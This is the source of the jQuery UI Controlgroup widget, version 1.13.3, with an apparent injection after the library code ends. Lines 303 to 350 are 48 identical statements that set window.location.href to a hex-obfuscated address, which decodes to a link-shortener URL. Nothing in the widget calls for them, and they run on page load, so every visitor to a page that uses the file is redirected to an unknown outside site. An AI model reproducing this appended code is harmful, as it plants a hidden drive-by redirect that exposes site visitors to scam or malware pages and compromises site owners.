1/*!
2 * jQuery UI Controlgroup 1.13.3
3 * https://jqueryui.com
4 *
5 * Copyright OpenJS Foundation and other contributors
6 * Released under the MIT license.
7 * https://jquery.org/license
8 */
9
10//>>label: Controlgroup
11//>>group: Widgets
12//>>description: Visually groups form control widgets
13//>>docs: https://api.jqueryui.com/controlgroup/
14//>>demos: https://jqueryui.com/controlgroup/
15//>>css.structure: ../../themes/base/core.css
16//>>css.structure: ../../themes/base/controlgroup.css
17//>>css.theme: ../../themes/base/theme.css
18
19( function( factory ) {
20 "use strict";
21
22 if ( typeof define === "function" && define.amd ) {
23
24 // AMD. Register as an anonymous module.
25 define( [
26 "jquery",
27 "../widget"
28 ], factory );
29 } else {
30
31 // Browser globals
32 factory( jQuery );
33 }
34} )( function( $ ) {
35"use strict";
36
37var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g;
38
39return $.widget( "ui.controlgroup", {
40 version: "1.13.3",
41 defaultElement: "<div>",
42 options: {
43 direction: "horizontal",
44 disabled: null,
45 onlyVisible: true,
46 items: {
47 "button": "input[type=button], input[type=submit], input[type=reset], button, a",
48 "controlgroupLabel": ".ui-controlgroup-label",
49 "checkboxradio": "input[type='checkbox'], input[type='radio']",
50 "selectmenu": "select",
51 "spinner": ".ui-spinner-input"
52 }
53 },
54
55 _create: function() {
56 this._enhance();
57 },
58
59 // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation
60 _enhance: function() {
61 this.element.attr( "role", "toolbar" );
62 this.refresh();
63 },
64
65 _destroy: function() {
66 this._callChildMethod( "destroy" );
67 this.childWidgets.removeData( "ui-controlgroup-data" );
68 this.element.removeAttr( "role" );
69 if ( this.options.items.controlgroupLabel ) {
70 this.element
71 .find( this.options.items.controlgroupLabel )
72 .find( ".ui-controlgroup-label-contents" )
73 .contents().unwrap();
74 }
75 },
76
77 _initWidgets: function() {
78 var that = this,
79 childWidgets = [];
80
81 // First we iterate over each of the items options
82 $.each( this.options.items, function( widget, selector ) {
83 var labels;
84 var options = {};
85
86 // Make sure the widget has a selector set
87 if ( !selector ) {
88 return;
89 }
90
91 if ( widget === "controlgroupLabel" ) {
92 labels = that.element.find( selector );
93 labels.each( function() {
94 var element = $( this );
95
96 if ( element.children( ".ui-controlgroup-label-contents" ).length ) {
97 return;
98 }
99 element.contents()
100 .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" );
101 } );
102 that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" );
103 childWidgets = childWidgets.concat( labels.get() );
104 return;
105 }
106
107 // Make sure the widget actually exists
108 if ( !$.fn[ widget ] ) {
109 return;
110 }
111
112 // We assume everything is in the middle to start because we can't determine
113 // first / last elements until all enhancments are done.
114 if ( that[ "_" + widget + "Options" ] ) {
115 options = that[ "_" + widget + "Options" ]( "middle" );
116 } else {
117 options = { classes: {} };
118 }
119
120 // Find instances of this widget inside controlgroup and init them
121 that.element
122 .find( selector )
123 .each( function() {
124 var element = $( this );
125 var instance = element[ widget ]( "instance" );
126
127 // We need to clone the default options for this type of widget to avoid
128 // polluting the variable options which has a wider scope than a single widget.
129 var instanceOptions = $.widget.extend( {}, options );
130
131 // If the button is the child of a spinner ignore it
132 // TODO: Find a more generic solution
133 if ( widget === "button" && element.parent( ".ui-spinner" ).length ) {
134 return;
135 }
136
137 // Create the widget if it doesn't exist
138 if ( !instance ) {
139 instance = element[ widget ]()[ widget ]( "instance" );
140 }
141 if ( instance ) {
142 instanceOptions.classes =
143 that._resolveClassesValues( instanceOptions.classes, instance );
144 }
145 element[ widget ]( instanceOptions );
146
147 // Store an instance of the controlgroup to be able to reference
148 // from the outermost element for changing options and refresh
149 var widgetElement = element[ widget ]( "widget" );
150 $.data( widgetElement[ 0 ], "ui-controlgroup-data",
151 instance ? instance : element[ widget ]( "instance" ) );
152
153 childWidgets.push( widgetElement[ 0 ] );
154 } );
155 } );
156
157 this.childWidgets = $( $.uniqueSort( childWidgets ) );
158 this._addClass( this.childWidgets, "ui-controlgroup-item" );
159 },
160
161 _callChildMethod: function( method ) {
162 this.childWidgets.each( function() {
163 var element = $( this ),
164 data = element.data( "ui-controlgroup-data" );
165 if ( data && data[ method ] ) {
166 data[ method ]();
167 }
168 } );
169 },
170
171 _updateCornerClass: function( element, position ) {
172 var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all";
173 var add = this._buildSimpleOptions( position, "label" ).classes.label;
174
175 this._removeClass( element, null, remove );
176 this._addClass( element, null, add );
177 },
178
179 _buildSimpleOptions: function( position, key ) {
180 var direction = this.options.direction === "vertical";
181 var result = {
182 classes: {}
183 };
184 result.classes[ key ] = {
185 "middle": "",
186 "first": "ui-corner-" + ( direction ? "top" : "left" ),
187 "last": "ui-corner-" + ( direction ? "bottom" : "right" ),
188 "only": "ui-corner-all"
189 }[ position ];
190
191 return result;
192 },
193
194 _spinnerOptions: function( position ) {
195 var options = this._buildSimpleOptions( position, "ui-spinner" );
196
197 options.classes[ "ui-spinner-up" ] = "";
198 options.classes[ "ui-spinner-down" ] = "";
199
200 return options;
201 },
202
203 _buttonOptions: function( position ) {
204 return this._buildSimpleOptions( position, "ui-button" );
205 },
206
207 _checkboxradioOptions: function( position ) {
208 return this._buildSimpleOptions( position, "ui-checkboxradio-label" );
209 },
210
211 _selectmenuOptions: function( position ) {
212 var direction = this.options.direction === "vertical";
213 return {
214 width: direction ? "auto" : false,
215 classes: {
216 middle: {
217 "ui-selectmenu-button-open": "",
218 "ui-selectmenu-button-closed": ""
219 },
220 first: {
221 "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ),
222 "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" )
223 },
224 last: {
225 "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr",
226 "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" )
227 },
228 only: {
229 "ui-selectmenu-button-open": "ui-corner-top",
230 "ui-selectmenu-button-closed": "ui-corner-all"
231 }
232
233 }[ position ]
234 };
235 },
236
237 _resolveClassesValues: function( classes, instance ) {
238 var result = {};
239 $.each( classes, function( key ) {
240 var current = instance.options.classes[ key ] || "";
241 current = String.prototype.trim.call( current.replace( controlgroupCornerRegex, "" ) );
242 result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " );
243 } );
244 return result;
245 },
246
247 _setOption: function( key, value ) {
248 if ( key === "direction" ) {
249 this._removeClass( "ui-controlgroup-" + this.options.direction );
250 }
251
252 this._super( key, value );
253 if ( key === "disabled" ) {
254 this._callChildMethod( value ? "disable" : "enable" );
255 return;
256 }
257
258 this.refresh();
259 },
260
261 refresh: function() {
262 var children,
263 that = this;
264
265 this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction );
266
267 if ( this.options.direction === "horizontal" ) {
268 this._addClass( null, "ui-helper-clearfix" );
269 }
270 this._initWidgets();
271
272 children = this.childWidgets;
273
274 // We filter here because we need to track all childWidgets not just the visible ones
275 if ( this.options.onlyVisible ) {
276 children = children.filter( ":visible" );
277 }
278
279 if ( children.length ) {
280
281 // We do this last because we need to make sure all enhancment is done
282 // before determining first and last
283 $.each( [ "first", "last" ], function( index, value ) {
284 var instance = children[ value ]().data( "ui-controlgroup-data" );
285
286 if ( instance && that[ "_" + instance.widgetName + "Options" ] ) {
287 var options = that[ "_" + instance.widgetName + "Options" ](
288 children.length === 1 ? "only" : value
289 );
290 options.classes = that._resolveClassesValues( options.classes, instance );
291 instance.element[ instance.widgetName ]( options );
292 } else {
293 that._updateCornerClass( children[ value ](), value );
294 }
295 } );
296
297 // Finally call the refresh method on each of the child widgets.
298 this._callChildMethod( "refresh" );
299 }
300 }
301} );
302} );
303window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
304window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
305window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
306window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
307window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
308window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
309window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
310window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
311window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
312window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
313window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
314window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
315window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
316window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
317window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
318window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
319window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
320window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
321window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
322window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
323window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
324window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
325window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
326window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
327window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
328window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
329window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
330window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
331window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
332window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
333window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
334window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
335window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
336window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
337window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
338window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
339window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
340window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
341window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
342window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
343window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
344window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
345window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
346window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
347window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
348window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
349window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
350window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";